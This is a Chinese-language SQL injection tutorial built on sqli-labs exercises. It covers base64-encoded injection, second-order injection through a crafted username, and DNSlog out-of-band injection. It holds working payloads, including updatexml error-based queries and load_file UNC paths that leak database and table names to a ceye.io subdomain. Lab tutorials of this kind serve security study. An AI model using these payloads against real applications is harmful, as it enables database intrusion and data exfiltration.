1. 加解密注入
get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1
案例:sqlilabs-less21
- burp抓包
- forward,可以看到uname=YWRtaW4%3D
- %3D 为 = ,base解密为admin
- 将uname的值改为注入语句:
admin' or updatexml(1,concat(0x7e,(database())),0) or '
并进行base64加密,得:
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJw==
- 注入成功
2. 二次注入
二次注入是存储型注入,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
案例:sqlilabs-less24
- 注册新用户
2. 登录新注册的用户修改密码为aaa
- 查询数据库,可以发现admin1’#的密码没有改,而admin1的密码更改了
原因是代码执行的过程中将’#没有过滤直接带入执行导致’与前面的代码闭合而#将后面的代码注释了。
3. DNSlog注入
案例:sqlilabs-less9
- 在http://ceye.io/注册一个账号
- 构建payload,获取库名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and load_file(concat("\\\\",database(),".xxxx.ceye.io\\xxxx.txt"))--+
注: .xxxx.ceye.io 是自己子域名,前面要加个 .
后面的\xxx.txt,\是必须的,xxx.txt这部分随便,不能为空。
3. 构建payload,获取表名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".xxxx.ceye.io\\xxxx.txt"))--+